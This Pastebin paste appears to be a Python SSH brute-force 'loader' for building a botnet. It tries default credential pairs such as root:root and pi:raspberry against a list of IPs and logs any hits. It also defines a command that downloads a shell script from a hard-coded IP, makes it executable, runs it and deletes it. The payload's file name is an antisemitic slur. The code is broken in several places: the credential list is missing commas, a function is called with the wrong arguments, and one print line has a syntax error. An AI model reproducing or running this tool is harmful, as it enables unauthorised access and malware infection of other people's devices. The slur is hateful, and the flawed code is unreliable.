Guest User

Untitled

a guest
Apr 10th, 2023
138
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.59 KB | None | 0 0
  1. #!/usr/bin/python
  2. #Phaaaat hax SSH loader by Freak
  3. import sys, re, os, paramiko, socket
  4. from threading import Thread
  5. from time import sleep
  6.  
  7. if len(sys.argv) < 2:
  8. sys.exit("\033[37mUsage: python "+sys.argv[0]+" [vuln list]")
  9.  
  10. paramiko.util.log_to_file("/dev/null")
  11. rekdevice="cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://38.54.24.20/fuckjewishpeople.sh; busybox wget http://38.54.24.20/fuckjewishpeople.sh; chmod 777 fuckjewishpeople.sh; sh fuckjewishpeople.sh; rm -f fuckjewishpeople.sh" #command to send
  12. print("\033[31m")
  13.  
  14. print("S-S-SUUUPER fast SSH bruter by Freak")
  15. print
  16.  
  17. threads = int(raw_input("Threads: "))
  18.  
  19. lines = open(sys.argv[1],"r").readlines()
  20.  
  21. fh = open("vulnz.txt","a+")
  22.  
  23. def chunkify(lst,n):
  24. return [ lst[i::n] for i in xrange(n) ]
  25.  
  26. running = 0
  27. passwords = [
  28. "admin:admin"
  29. "root:root"
  30. "root:admin"
  31. "telnet:telnet"
  32. "guest:guest"
  33. "admin:admin"
  34. "admin:1234"
  35. "pi:raspberry"
  36. "vagrant:vagrant"
  37. "ubnt:ubnt"
  38. "ubuntu:ubuntu"
  39. ]
  40.  
  41. def haxit(username,password,ip,fh):
  42. for passwd in passwords:
  43. try:
  44. port = 22
  45. ssh = paramiko.SSHClient()
  46. ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  47. ssh.connect(ip, port = port, username=passwd.split(":")[0], password=passwd.split(":")[1], timeout=3)
  48. ssh.close()
  49. print("Freaks next root ->"+ passwd + ":" + ip)
  50. fh.write(passwd + ":" + ip + "\n")
  51. fh.flush()
  52. except:
  53. pass
  54.  
  55. def check(chunk, fh):
  56. global running
  57. running += 1
  58. threadID = running
  59. for login in chunk:
  60. login = login.replace("DUP ", "")
  61. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  62. s.settimeout(3)
  63. try:
  64. s.connect((login.split(":")[2], 22))
  65. s.close()
  66. haxit(login.split(":")[0], login.split(":")[1], login.split(":")[2])
  67. except:
  68. pass
  69. running -= 1
  70.  
  71. lines = map(lambda s: s.strip(), lines) # remove all newlines
  72.  
  73. chunks = chunkify(lines, threads) # make seperate chunk for each thread
  74.  
  75. print("STARTING SCAN AND BRUTE!!!")
  76.  
  77. Thread(target = printStatus, args = ()).start()
  78.  
  79. for thread in xrange(0,threads):
  80. if thread >= 384:
  81. sleep(0.2)
  82. try:
  83. Thread(target = check, args = (chunks[thread], fh,)).start()
  84. except:
  85. pass
  86. print()"Scanning... Press enter 3 times to stop.")
  87.  
  88. for i in range(0,3):
  89. raw_input()
  90.  
  91. fh.close()
  92.  
  93. os.popen("kill -9 " + str(os.getpid()))
Advertisement
Add Comment
Please, Sign In to add comment